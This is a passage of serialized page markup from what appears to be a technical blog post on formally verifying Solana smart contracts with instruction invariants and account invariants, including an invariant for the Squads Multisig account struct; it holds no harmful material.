Context",{"type":22,"tag":101,"props":24282,"children":24283},{"style":120},[24284],{"type":27,"value":123},{"type":22,"tag":101,"props":24286,"children":24287},{"style":114},[24288],{"type":27,"value":24171},{"type":22,"tag":101,"props":24290,"children":24291},{"style":120},[24292],{"type":27,"value":5555},{"type":22,"tag":101,"props":24294,"children":24295},{"style":126},[24296],{"type":27,"value":975},{"type":22,"tag":101,"props":24298,"children":24299},{"style":166},[24300],{"type":27,"value":169},{"type":22,"tag":101,"props":24302,"children":24303},{"style":114},[24304],{"type":27,"value":174},{"type":22,"tag":101,"props":24306,"children":24307},{"style":120},[24308],{"type":27,"value":901},{"type":22,"tag":101,"props":24310,"children":24311},{"style":166},[24312],{"type":27,"value":17759},{"type":22,"tag":101,"props":24314,"children":24315},{"style":114},[24316],{"type":27,"value":17764},{"type":22,"tag":101,"props":24318,"children":24319},{"style":120},[24320],{"type":27,"value":24321},"\u003C()> {\n",{"type":22,"tag":101,"props":24323,"children":24324},{"class":103,"line":398},[24325],{"type":22,"tag":101,"props":24326,"children":24327},{"style":166},[24328],{"type":27,"value":24329}," ...\n",{"type":22,"tag":101,"props":24331,"children":24332},{"class":103,"line":428},[24333],{"type":22,"tag":101,"props":24334,"children":24335},{"style":120},[24336],{"type":27,"value":188},{"type":22,"tag":604,"props":24338,"children":24339},{},[24340],{"type":22,"tag":23,"props":24341,"children":24342},{},[24343,24344,24349,24351,24356,24358,24363],{"type":27,"value":2007},{"type":22,"tag":30,"props":24345,"children":24347},{"className":24346},[],[24348],{"type":27,"value":24153},{"type":27,"value":24350}," expression specifies ",{"type":22,"tag":6961,"props":24352,"children":24353},{},[24354],{"type":27,"value":24355},"succifient",{"type":27,"value":24357}," but not ",{"type":22,"tag":6961,"props":24359,"children":24360},{},[24361],{"type":27,"value":24362},"necessary",{"type":27,"value":24364}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":22,"tag":1398,"props":24366,"children":24367},{},[],{"type":22,"tag":23,"props":24369,"children":24370},{},[24371,24373,24378],{"type":27,"value":24372},"Another example is that for ",{"type":22,"tag":6961,"props":24374,"children":24375},{},[24376],{"type":27,"value":24377},"crank",{"type":27,"value":24379}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":22,"tag":91,"props":24381,"children":24383},{"code":24382,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[24384],{"type":22,"tag":30,"props":24385,"children":24386},{"__ignoreMap":7},[24387,24395,24448,24455],{"type":22,"tag":101,"props":24388,"children":24389},{"class":103,"line":104},[24390],{"type":22,"tag":101,"props":24391,"children":24392},{"style":120},[24393],{"type":27,"value":24394},"#[succeeds_if(true)]\n",{"type":22,"tag":101,"props":24396,"children":24397},{"class":103,"line":157},[24398,24402,24407,24411,24415,24419,24423,24427,24432,24436,24440,24444],{"type":22,"tag":101,"props":24399,"children":24400},{"style":108},[24401],{"type":27,"value":24258},{"type":22,"tag":101,"props":24403,"children":24404},{"style":926},[24405],{"type":27,"value":24406}," my_crank",{"type":22,"tag":101,"props":24408,"children":24409},{"style":120},[24410],{"type":27,"value":980},{"type":22,"tag":101,"props":24412,"children":24413},{"style":126},[24414],{"type":27,"value":24271},{"type":22,"tag":101,"props":24416,"children":24417},{"style":166},[24418],{"type":27,"value":169},{"type":22,"tag":101,"props":24420,"children":24421},{"style":114},[24422],{"type":27,"value":24280},{"type":22,"tag":101,"props":24424,"children":24425},{"style":120},[24426],{"type":27,"value":123},{"type":22,"tag":101,"props":24428,"children":24429},{"style":114},[24430],{"type":27,"value":24431},"Crank",{"type":22,"tag":101,"props":24433,"children":24434},{"style":120},[24435],{"type":27,"value":3185},{"type":22,"tag":101,"props":24437,"children":24438},{"style":166},[24439],{"type":27,"value":17759},{"type":22,"tag":101,"props":24441,"children":24442},{"style":114},[24443],{"type":27,"value":17764},{"type":22,"tag":101,"props":24445,"children":24446},{"style":120},[24447],{"type":27,"value":24321},{"type":22,"tag":101,"props":24449,"children":24450},{"class":103,"line":182},[24451],{"type":22,"tag":101,"props":24452,"children":24453},{"style":166},[24454],{"type":27,"value":24329},{"type":22,"tag":101,"props":24456,"children":24457},{"class":103,"line":367},[24458],{"type":22,"tag":101,"props":24459,"children":24460},{"style":120},[24461],{"type":27,"value":188},{"type":22,"tag":23,"props":24463,"children":24464},{},[24465,24467,24471,24473,24479],{"type":27,"value":24466},"With this invariant, you could prove that the function ",{"type":22,"tag":6961,"props":24468,"children":24469},{},[24470],{"type":27,"value":17096},{"type":27,"value":24472}," returns ",{"type":22,"tag":30,"props":24474,"children":24476},{"className":24475},[],[24477],{"type":27,"value":24478},"Ok",{"type":27,"value":24480},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":22,"tag":1398,"props":24482,"children":24483},{},[],{"type":22,"tag":23,"props":24485,"children":24486},{},[24487,24489,24494,24495,24500,24502,24507,24509,24514,24516,24521],{"type":27,"value":24488},"Note that ",{"type":22,"tag":30,"props":24490,"children":24492},{"className":24491},[],[24493],{"type":27,"value":24146},{"type":27,"value":209},{"type":22,"tag":30,"props":24496,"children":24498},{"className":24497},[],[24499],{"type":27,"value":24153},{"type":27,"value":24501}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":22,"tag":30,"props":24503,"children":24505},{"className":24504},[],[24506],{"type":27,"value":24146},{"type":27,"value":24508}," is not satisfied and a function may fail even if ",{"type":22,"tag":30,"props":24510,"children":24512},{"className":24511},[],[24513],{"type":27,"value":24153},{"type":27,"value":24515}," is not satisfied. If you want to prove the ",{"type":22,"tag":6961,"props":24517,"children":24518},{},[24519],{"type":27,"value":24520},"exact condition",{"type":27,"value":24522}," required for an instruction to succeed, you could use a form like the following:",{"type":22,"tag":91,"props":24524,"children":24526},{"code":24525,"language":95,"meta":7,"className":93,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[24527],{"type":22,"tag":30,"props":24528,"children":24529},{"__ignoreMap":7},[24530,24574,24581,24598,24623,24675,24682],{"type":22,"tag":101,"props":24531,"children":24532},{"class":103,"line":104},[24533,24537,24542,24546,24550,24554,24558,24562,24566,24570],{"type":22,"tag":101,"props":24534,"children":24535},{"style":108},[24536],{"type":27,"value":24258},{"type":22,"tag":101,"props":24538,"children":24539},{"style":926},[24540],{"type":27,"value":24541}," my_invariant",{"type":22,"tag":101,"props":24543,"children":24544},{"style":120},[24545],{"type":27,"value":980},{"type":22,"tag":101,"props":24547,"children":24548},{"style":166},[24549],{"type":27,"value":614},{"type":22,"tag":101,"props":24551,"children":24552},{"style":120},[24553],{"type":27,"value":901},{"type":22,"tag":101,"props":24555,"children":24556},{"style":166},[24557],{"type":27,"value":17759},{"type":22,"tag":101,"props":24559,"children":24560},{"style":114},[24561],{"type":27,"value":360},{"type":22,"tag":101,"props":24563,"children":24564},{"style":120},[24565],{"type":27,"value":1479},{"type":22,"tag":101,"props":24567,"children":24568},{"style":166},[24569],{"type":27,"value":614},{"type":22,"tag":101,"props":24571,"children":24572},{"style":120},[24573],{"type":27,"value":13601},{"type":22,"tag":101,"props":24575,"children":24576},{"class":103,"line":157},[24577],{"type":22,"tag":101,"props":24578,"children":24579},{"emptyLinePlaceholder":15},[24580],{"type":27,"value":1581},{"type":22,"tag":101,"props":24582,"children":24583},{"class":103,"line":182},[24584,24589,24593],{"type":22,"tag":101,"props":24585,"children":24586},{"style":120},[24587],{"type":27,"value":24588},"#[succeeds_if(my_invariant(",{"type":22,"tag":101,"props":24590,"children":24591},{"style":166},[24592],{"type":27,"value":614},{"type":22,"tag":101,"props":24594,"children":24595},{"style":120},[24596],{"type":27,"value":24597},"))]\n",{"type":22,"tag":101,"props":24599,"children":24600},{"class":103,"line":367},[24601,24606,24610,24615,24619],{"type":22,"tag":101,"props":24602,"children":24603},{"style":120},[24604],{"type":27,"value":24605},"#[errors_if(",{"type":22,"tag":101,"props":24607,"children":24608},{"style":166},[24609],{"type":27,"value":2109},{"type":22,"tag":101,"props":24611,"children":24612},{"style":120},[24613],{"type":27,"value":24614},"my_invariant(",{"type":22,"tag":101,"props":24616,"children":24617},{"style":166},[24618],{"type":27,"value":614},{"type":22,"tag":101,"props":24620,"children":24621},{"style":120},[24622],{"type":27,"value":24597},{"type":22,"tag":101,"props":24624,"children":24625},{"class":103,"line":398},[24626,24630,24635,24639,24643,24647,24651,24655,24659,24663,24667,24671],{"type":22,"tag":101,"props":24627,"children":24628},{"style":108},[24629],{"type":27,"value":24258},{"type":22,"tag":101,"props":24631,"children":24632},{"style":926},[24633],{"type":27,"value":24634}," my_instruction",{"type":22,"tag":101,"props":24636,"children":24637},{"style":120},[24638],{"type":27,"value":980},{"type":22,"tag":101,"props":24640,"children":24641},{"style":126},[24642],{"type":27,"value":24271},{"type":22,"tag":101,"props":24644,"children":24645},{"style":166},[24646],{"type":27,"value":169},{"type":22,"tag":101,"props":24648,"children":24649},{"style":114},[24650],{"type":27,"value":24280},{"type":22,"tag":101,"props":24652,"children":24653},{"style":120},[24654],{"type":27,"value":123},{"type":22,"tag":101,"props":24656,"children":24657},{"style":166},[24658],{"type":27,"value":614},{"type":22,"tag":101,"props":24660,"children":24661},{"style":120},[24662],{"type":27,"value":3185},{"type":22,"tag":101,"props":24664,"children":24665},{"style":166},[24666],{"type":27,"value":17759},{"type":22,"tag":101,"props":24668,"children":24669},{"style":114},[24670],{"type":27,"value":17764},{"type":22,"tag":101,"props":24672,"children":24673},{"style":120},[24674],{"type":27,"value":24321},{"type":22,"tag":101,"props":24676,"children":24677},{"class":103,"line":428},[24678],{"type":22,"tag":101,"props":24679,"children":24680},{"style":166},[24681],{"type":27,"value":24329},{"type":22,"tag":101,"props":24683,"children":24684},{"class":103,"line":997},[24685],{"type":22,"tag":101,"props":24686,"children":24687},{"style":120},[24688],{"type":27,"value":188},{"type":22,"tag":23,"props":24690,"children":24691},{},[24692],{"type":27,"value":24693},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":22,"tag":22883,"props":24695,"children":24697},{"id":24696},"account-invariants",[24698],{"type":27,"value":24699},"Account Invariants",{"type":22,"tag":23,"props":24701,"children":24702},{},[24703,24705,24710],{"type":27,"value":24704},"The other type of invariant is an ",{"type":22,"tag":9370,"props":24706,"children":24707},{},[24708],{"type":27,"value":24709},"Account Invariant",{"type":27,"value":24711},". This invariant describes some property of an account that should always hold.",{"type":22,"tag":23,"props":24713,"children":24714},{},[24715,24717,24722,24723,24729],{"type":27,"value":24716},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":22,"tag":30,"props":24718,"children":24720},{"className":24719},[],[24721],{"type":27,"value":7760},{"type":27,"value":17136},{"type":22,"tag":30,"props":24724,"children":24726},{"className":24725},[],[24727],{"type":27,"value":24728},"init",{"type":27,"value":24730},").",{"type":22,"tag":23,"props":24732,"children":24733},{},[24734,24736,24742],{"type":27,"value":24735},"For example, given a mock ",{"type":22,"tag":30,"props":24737,"children":24739},{"className":24738},[],[24740],{"type":27,"value":24741},"UserStatement",{"type":27,"value":24743}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":22,"tag":91,"props":24745,"children":24747},{"code":24746,"language":95,"meta":7,"className":93,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[24748],{"type":22,"tag":30,"props":24749,"children":24750},{"__ignoreMap":7},[24751,24759,24767,24800,24807,24823,24849,24873,24897],{"type":22,"tag":101,"props":24752,"children":24753},{"class":103,"line":104},[24754],{"type":22,"tag":101,"props":24755,"children":24756},{"style":120},[24757],{"type":27,"value":24758},"#[account]\n",{"type":22,"tag":101,"props":24760,"children":24761},{"class":103,"line":157},[24762],{"type":22,"tag":101,"props":24763,"children":24764},{"style":120},[24765],{"type":27,"value":24766},"#[invariant(\n",{"type":22,"tag":101,"props":24768,"children":24769},{"class":103,"line":182},[24770,24774,24778,24783,24787,24791,24795],{"type":22,"tag":101,"props":24771,"children":24772},{"style":120},[24773],{"type":27,"value":4856},{"type":22,"tag":101,"props":24775,"children":24776},{"style":166},[24777],{"type":27,"value":231},{"type":22,"tag":101,"props":24779,"children":24780},{"style":120},[24781],{"type":27,"value":24782},"assets ",{"type":22,"tag":101,"props":24784,"children":24785},{"style":166},[24786],{"type":27,"value":13949},{"type":22,"tag":101,"props":24788,"children":24789},{"style":120},[24790],{"type":27,"value":17799},{"type":22,"tag":101,"props":24792,"children":24793},{"style":166},[24794],{"type":27,"value":231},{"type":22,"tag":101,"props":24796,"children":24797},{"style":120},[24798],{"type":27,"value":24799},"liabilities\n",{"type":22,"tag":101,"props":24801,"children":24802},{"class":103,"line":367},[24803],{"type":22,"tag":101,"props":24804,"children":24805},{"style":120},[24806],{"type":27,"value":24250},{"type":22,"tag":101,"props":24808,"children":24809},{"class":103,"line":398},[24810,24814,24819],{"type":22,"tag":101,"props":24811,"children":24812},{"style":108},[24813],{"type":27,"value":111},{"type":22,"tag":101,"props":24815,"children":24816},{"style":114},[24817],{"type":27,"value":24818}," UserStatement",{"type":22,"tag":101,"props":24820,"children":24821},{"style":120},[24822],{"type":27,"value":154},{"type":22,"tag":101,"props":24824,"children":24825},{"class":103,"line":428},[24826,24831,24836,24840,24845],{"type":22,"tag":101,"props":24827,"children":24828},{"style":108},[24829],{"type":27,"value":24830}," pub",{"type":22,"tag":101,"props":24832,"children":24833},{"style":126},[24834],{"type":27,"value":24835}," owner",{"type":22,"tag":101,"props":24837,"children":24838},{"style":166},[24839],{"type":27,"value":169},{"type":22,"tag":101,"props":24841,"children":24842},{"style":114},[24843],{"type":27,"value":24844}," Pubkey",{"type":22,"tag":101,"props":24846,"children":24847},{"style":120},[24848],{"type":27,"value":179},{"type":22,"tag":101,"props":24850,"children":24851},{"class":103,"line":997},[24852,24856,24861,24865,24869],{"type":22,"tag":101,"props":24853,"children":24854},{"style":108},[24855],{"type":27,"value":24830},{"type":22,"tag":101,"props":24857,"children":24858},{"style":126},[24859],{"type":27,"value":24860}," assets",{"type":22,"tag":101,"props":24862,"children":24863},{"style":166},[24864],{"type":27,"value":169},{"type":22,"tag":101,"props":24866,"children":24867},{"style":114},[24868],{"type":27,"value":174},{"type":22,"tag":101,"props":24870,"children":24871},{"style":120},[24872],{"type":27,"value":179},{"type":22,"tag":101,"props":24874,"children":24875},{"class":103,"line":1032},[24876,24880,24885,24889,24893],{"type":22,"tag":101,"props":24877,"children":24878},{"style":108},[24879],{"type":27,"value":24830},{"type":22,"tag":101,"props":24881,"children":24882},{"style":126},[24883],{"type":27,"value":24884}," liabilities",{"type":22,"tag":101,"props":24886,"children":24887},{"style":166},[24888],{"type":27,"value":169},{"type":22,"tag":101,"props":24890,"children":24891},{"style":114},[24892],{"type":27,"value":174},{"type":22,"tag":101,"props":24894,"children":24895},{"style":120},[24896],{"type":27,"value":179},{"type":22,"tag":101,"props":24898,"children":24899},{"class":103,"line":1063},[24900],{"type":22,"tag":101,"props":24901,"children":24902},{"style":120},[24903],{"type":27,"value":188},{"type":22,"tag":23,"props":24905,"children":24906},{},[24907,24909,24914],{"type":27,"value":24908},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":22,"tag":30,"props":24910,"children":24912},{"className":24911},[],[24913],{"type":27,"value":24741},{"type":27,"value":24915}," is created or modified.",{"type":22,"tag":23,"props":24917,"children":24918},{},[24919,24921,24927],{"type":27,"value":24920},"In another example, we developed the following invariant for the ",{"type":22,"tag":80,"props":24922,"children":24924},{"href":22814,"rel":24923},[84],[24925],{"type":27,"value":24926},"Squads Multisig",{"type":27,"value":24928}," wallet account:",{"type":22,"tag":91,"props":24930,"children":24932},{"code":24931,"language":95,"meta":7,"className":93,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[24933],{"type":22,"tag":30,"props":24934,"children":24935},{"__ignoreMap":7},[24936,24943,24950,24980,25039,25068,25120,25127,25148,25178,25208,25238,25267,25297,25327,25356,25396],{"type":22,"tag":101,"props":24937,"children":24938},{"class":103,"line":104},[24939],{"type":22,"tag":101,"props":24940,"children":24941},{"style":120},[24942],{"type":27,"value":24758},{"type":22,"tag":101,"props":24944,"children":24945},{"class":103,"line":157},[24946],{"type":22,"tag":101,"props":24947,"children":24948},{"style":120},[24949],{"type":27,"value":24766},{"type":22,"tag":101,"props":24951,"children":24952},{"class":103,"line":182},[24953,24958,24962,24966,24971,24975],{"type":22,"tag":101,"props":24954,"children":24955},{"style":166},[24956],{"type":27,"value":24957}," !",{"type":22,"tag":101,"props":24959,"children":24960},{"style":120},[24961],{"type":27,"value":4242},{"type":22,"tag":101,"props":24963,"children":24964},{"style":166},[24965],{"type":27,"value":231},{"type":22,"tag":101,"props":24967,"children":24968},{"style":120},[24969],{"type":27,"value":24970},"keys",{"type":22,"tag":101,"props":24972,"children":24973},{"style":166},[24974],{"type":27,"value":231},{"type":22,"tag":101,"props":24976,"children":24977},{"style":120},[24978],{"type":27,"value":24979},"is_empty()\n",{"type":22,"tag":101,"props":24981,"children":24982},{"class":103,"line":367},[24983,24987,24992,24996,25000,25004,25009,25013,25018,25022,25027,25031,25035],{"type":22,"tag":101,"props":24984,"children":24985},{"style":166},[24986],{"type":27,"value":19619},{"type":22,"tag":101,"props":24988,"children":24989},{"style":120},[24990],{"type":27,"value":24991}," (self",{"type":22,"tag":101,"props":24993,"children":24994},{"style":166},[24995],{"type":27,"value":231},{"type":22,"tag":101,"props":24997,"children":24998},{"style":120},[24999],{"type":27,"value":24970},{"type":22,"tag":101,"props":25001,"children":25002},{"style":166},[25003],{"type":27,"value":231},{"type":22,"tag":101,"props":25005,"children":25006},{"style":120},[25007],{"type":27,"value":25008},"len() ",{"type":22,"tag":101,"props":25010,"children":25011},{"style":166},[25012],{"type":27,"value":23405},{"type":22,"tag":101,"props":25014,"children":25015},{"style":114},[25016],{"type":27,"value":25017}," u16",{"type":22,"tag":101,"props":25019,"children":25020},{"style":166},[25021],{"type":27,"value":970},{"type":22,"tag":101,"props":25023,"children":25024},{"style":114},[25025],{"type":27,"value":25026},"MAX",{"type":22,"tag":101,"props":25028,"children":25029},{"style":108},[25030],{"type":27,"value":12835},{"type":22,"tag":101,"props":25032,"children":25033},{"style":114},[25034],{"type":27,"value":17733},{"type":22,"tag":101,"props":25036,"children":25037},{"style":120},[25038],{"type":27,"value":2510},{"type":22,"tag":101,"props":25040,"children":25041},{"class":103,"line":398},[25042,25046,25050,25054,25059,25063],{"type":22,"tag":101,"props":25043,"children":25044},{"style":166},[25045],{"type":27,"value":19619},{"type":22,"tag":101,"props":25047,"children":25048},{"style":120},[25049],{"type":27,"value":24991},{"type":22,"tag":101,"props":25051,"children":25052},{"style":166},[25053],{"type":27,"value":231},{"type":22,"tag":101,"props":25055,"children":25056},{"style":120},[25057],{"type":27,"value":25058},"threshold ",{"type":22,"tag":101,"props":25060,"children":25061},{"style":166},[25062],{"type":27,"value":13949},{"type":22,"tag":101,"props":25064,"children":25065},{"style":120},[25066],{"type":27,"value":25067}," 1)\n",{"type":22,"tag":101,"props":25069,"children":25070},{"class":103,"line":428},[25071,25075,25079,25083,25087,25091,25095,25099,25103,25107,25111,25115],{"type":22,"tag":101,"props":25072,"children":25073},{"style":166},[25074],{"type":27,"value":19619},{"type":22,"tag":101,"props":25076,"children":25077},{"style":120},[25078],{"type":27,"value":24991},{"type":22,"tag":101,"props":25080,"children":25081},{"style":166},[25082],{"type":27,"value":231},{"type":22,"tag":101,"props":25084,"children":25085},{"style":120},[25086],{"type":27,"value":25058},{"type":22,"tag":101,"props":25088,"children":25089},{"style":108},[25090],{"type":27,"value":12849},{"type":22,"tag":101,"props":25092,"children":25093},{"style":114},[25094],{"type":27,"value":17733},{"type":22,"tag":101,"props":25096,"children":25097},{"style":166},[25098],{"type":27,"value":12206},{"type":22,"tag":101,"props":25100,"children":25101},{"style":120},[25102],{"type":27,"value":17799},{"type":22,"tag":101,"props":25104,"children":25105},{"style":166},[25106],{"type":27,"value":231},{"type":22,"tag":101,"props":25108,"children":25109},{"style":120},[25110],{"type":27,"value":24970},{"type":22,"tag":101,"props":25112,"children":25113},{"style":166},[25114],{"type":27,"value":231},{"type":22,"tag":101,"props":25116,"children":25117},{"style":120},[25118],{"type":27,"value":25119},"len())\n",{"type":22,"tag":101,"props":25121,"children":25122},{"class":103,"line":997},[25123],{"type":22,"tag":101,"props":25124,"children":25125},{"style":120},[25126],{"type":27,"value":24250},{"type":22,"tag":101,"props":25128,"children":25129},{"class":103,"line":1032},[25130,25134,25139,25144],{"type":22,"tag":101,"props":25131,"children":25132},{"style":108},[25133],{"type":27,"value":17693},{"type":22,"tag":101,"props":25135,"children":25136},{"style":108},[25137],{"type":27,"value":25138}," struct",{"type":22,"tag":101,"props":25140,"children":25141},{"style":114},[25142],{"type":27,"value":25143}," Ms",{"type":22,"tag":101,"props":25145,"children":25146},{"style":120},[25147],{"type":27,"value":154},{"type":22,"tag":101,"props":25149,"children":25150},{"class":103,"line":1063},[25151,25155,25160,25164,25168,25173],{"type":22,"tag":101,"props":25152,"children":25153},{"style":108},[25154],{"type":27,"value":24830},{"type":22,"tag":101,"props":25156,"children":25157},{"style":126},[25158],{"type":27,"value":25159}," threshold",{"type":22,"tag":101,"props":25161,"children":25162},{"style":166},[25163],{"type":27,"value":169},{"type":22,"tag":101,"props":25165,"children":25166},{"style":114},[25167],{"type":27,"value":25017},{"type":22,"tag":101,"props":25169,"children":25170},{"style":120},[25171],{"type":27,"value":25172},", ",{"type":22,"tag":101,"props":25174,"children":25175},{"style":2215},[25176],{"type":27,"value":25177},"// threshold for signatures\n",{"type":22,"tag":101,"props":25179,"children":25180},{"class":103,"line":1071},[25181,25185,25190,25194,25198,25203],{"type":22,"tag":101,"props":25182,"children":25183},{"style":108},[25184],{"type":27,"value":24830},{"type":22,"tag":101,"props":25186,"children":25187},{"style":126},[25188],{"type":27,"value":25189}," authority_index",{"type":22,"tag":101,"props":25191,"children":25192},{"style":166},[25193],{"type":27,"value":169},{"type":22,"tag":101,"props":25195,"children":25196},{"style":114},[25197],{"type":27,"value":25017},{"type":22,"tag":101,"props":25199,"children":25200},{"style":120},[25201],{"type":27,"value":25202},", ",{"type":22,"tag":101,"props":25204,"children":25205},{"style":2215},[25206],{"type":27,"value":25207},"// index to seed other authorities under this multisig\n",{"type":22,"tag":101,"props":25209,"children":25210},{"class":103,"line":1110},[25211,25215,25220,25224,25228,25233],{"type":22,"tag":101,"props":25212,"children":25213},{"style":108},[25214],{"type":27,"value":24830},{"type":22,"tag":101,"props":25216,"children":25217},{"style":126},[25218],{"type":27,"value":25219}," transaction_index",{"type":22,"tag":101,"props":25221,"children":25222},{"style":166},[25223],{"type":27,"value":169},{"type":22,"tag":101,"props":25225,"children":25226},{"style":114},[25227],{"type":27,"value":21547},{"type":22,"tag":101,"props":25229,"children":25230},{"style":120},[25231],{"type":27,"value":25232},", ",{"type":22,"tag":101,"props":25234,"children":25235},{"style":2215},[25236],{"type":27,"value":25237},"// look up and seed reference for transactions\n",{"type":22,"tag":101,"props":25239,"children":25240},{"class":103,"line":1118},[25241,25245,25250,25254,25258,25262],{"type":22,"tag":101,"props":25242,"children":25243},{"style":108},[25244],{"type":27,"value":24830},{"type":22,"tag":101,"props":25246,"children":25247},{"style":126},[25248],{"type":27,"value":25249}," ms_change_index",{"type":22,"tag":101,"props":25251,"children":25252},{"style":166},[25253],{"type":27,"value":169},{"type":22,"tag":101,"props":25255,"children":25256},{"style":114},[25257],{"type":27,"value":21547},{"type":22,"tag":101,"props":25259,"children":25260},{"style":120},[25261],{"type":27,"value":25202},{"type":22,"tag":101,"props":25263,"children":25264},{"style":2215},[25265],{"type":27,"value":25266},"// the last executed/closed transaction\n",{"type":22,"tag":101,"props":25268,"children":25269},{"class":103,"line":1158},[25270,25274,25279,25283,25287,25292],{"type":22,"tag":101,"props":25271,"children":25272},{"style":108},[25273],{"type":27,"value":24830},{"type":22,"tag":101,"props":25275,"children":25276},{"style":126},[25277],{"type":27,"value":25278}," bump",{"type":22,"tag":101,"props":25280,"children":25281},{"style":166},[25282],{"type":27,"value":169},{"type":22,"tag":101,"props":25284,"children":25285},{"style":114},[25286],{"type":27,"value":18636},{"type":22,"tag":101,"props":25288,"children":25289},{"style":120},[25290],{"type":27,"value":25291},", ",{"type":22,"tag":101,"props":25293,"children":25294},{"style":2215},[25295],{"type":27,"value":25296},"// bump for the multisig seed\n",{"type":22,"tag":101,"props":25298,"children":25299},{"class":103,"line":1166},[25300,25304,25309,25313,25317,25322],{"type":22,"tag":101,"props":25301,"children":25302},{"style":108},[25303],{"type":27,"value":24830},{"type":22,"tag":101,"props":25305,"children":25306},{"style":126},[25307],{"type":27,"value":25308}," create_key",{"type":22,"tag":101,"props":25310,"children":25311},{"style":166},[25312],{"type":27,"value":169},{"type":22,"tag":101,"props":25314,"children":25315},{"style":114},[25316],{"type":27,"value":24844},{"type":22,"tag":101,"props":25318,"children":25319},{"style":120},[25320],{"type":27,"value":25321},", ",{"type":22,"tag":101,"props":25323,"children":25324},{"style":2215},[25325],{"type":27,"value":25326},"// random key(or not) used to seed the multisig pda\n",{"type":22,"tag":101,"props":25328,"children":25329},{"class":103,"line":1215},[25330,25334,25339,25343,25347,25351],{"type":22,"tag":101,"props":25331,"children":25332},{"style":108},[25333],{"type":27,"value":24830},{"type":22,"tag":101,"props":25335,"children":25336},{"style":126},[25337],{"type":27,"value":25338}," allow_external_execute",{"type":22,"tag":101,"props":25340,"children":25341},{"style":166},[25342],{"type":27,"value":169},{"type":22,"tag":101,"props":25344,"children":25345},{"style":114},[25346],{"type":27,"value":360},{"type":22,"tag":101,"props":25348,"children":25349},{"style":120},[25350],{"type":27,"value":758},{"type":22,"tag":101,"props":25352,"children":25353},{"style":2215},[25354],{"type":27,"value":25355},"// allow non-member keys to execute txs\n",{"type":22,"tag":101,"props":25357,"children":25358},{"class":103,"line":2425},[25359,25363,25368,25372,25377,25381,25386,25391],{"type":22,"tag":101,"props":25360,"children":25361},{"style":108},[25362],{"type":27,"value":24830},{"type":22,"tag":101,"props":25364,"children":25365},{"style":126},[25366],{"type":27,"value":25367}," keys",{"type":22,"tag":101,"props":25369,"children":25370},{"style":166},[25371],{"type":27,"value":169},{"type":22,"tag":101,"props":25373,"children":25374},{"style":114},[25375],{"type":27,"value":25376}," Vec",{"type":22,"tag":101,"props":25378,"children":25379},{"style":120},[25380],{"type":27,"value":123},{"type":22,"tag":101,"props":25382,"children":25383},{"style":114},[25384],{"type":27,"value":25385},"Pubkey",{"type":22,"tag":101,"props":25387,"children":25388},{"style":120},[25389],{"type":27,"value":25390},">, ",{"type":22,"tag":101,"props":25392,"children":25393},{"style":2215},[25394],{"type":27,"value":25395},"// keys of the members\n",{"type":22,"tag":101,"props":25397,"children":25398},{"class":103,"line":5417},[25399],{"type":22,"tag":101,"props":25400,"children":25401},{"style":120},[25402],{"type":27,"value":188},{"type":22,"tag":23,"props":25404,"children":25405},{},[25406],{"type":27,"value":25407},"Here we are verifying multiple things at once:",{"type":22,"tag":6839,"props":25409,"children":25410},{},[25411,25422,25433,25444],{"type":22,"tag":6832,"props":25412,"children":25413},{},[25414,25420],{"type":22,"tag":30,"props":25415,"children":25417},{"className":25416},[],[25418],{"type":27,"value":25419},"!self.keys.is_empty()",{"type":27,"value":25421}," : ensure there is at least one member",{"type":22,"tag":6832,"props":25423,"children":25424},{},[25425,25431],{"type":22,"tag":30,"props":25426,"children":25428},{"className":25427},[],[25429],{"type":27,"value":25430},"self.keys.len() \u003C= u16::MAX as usize",{"type":27,"value":25432}," : set an upper limit of 65535 members",{"type":22,"tag":6832,"props":25434,"children":25435},{},[25436,25442],{"type":22,"tag":30,"props":25437,"children":25439},{"className":25438},[],[25440],{"type":27,"value":25441},"self.threshold >= 1",{"type":27,"value":25443}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":22,"tag":6832,"props":25445,"children":25446},{},[25447,25453],{"type":22,"tag":30,"props":25448,"children":25450},{"className":25449},[],[25451],{"type":27,"value":25452},"self.threshold as usize \u003C= self.keys.len()",{"type":27,"value":25454}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":22,"tag":53,"props":25456,"children":25458},{"id":25457},"verification-how-do-we-check-that-our-model-is-correct",[25459],{"type":27,"value":25460},"Verification: How do we check that our model is correct?",{"type":22,"tag":23,"props":25462,"children":25463},{},[25464,25466,25470,25472,25477],{"type":27,"value":25465},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":22,"tag":6961,"props":25467,"children":25468},{},[25469],{"type":27,"value":23960},{"type":27,"value":25471}," on which we can run bounded model checking. Our tool does this 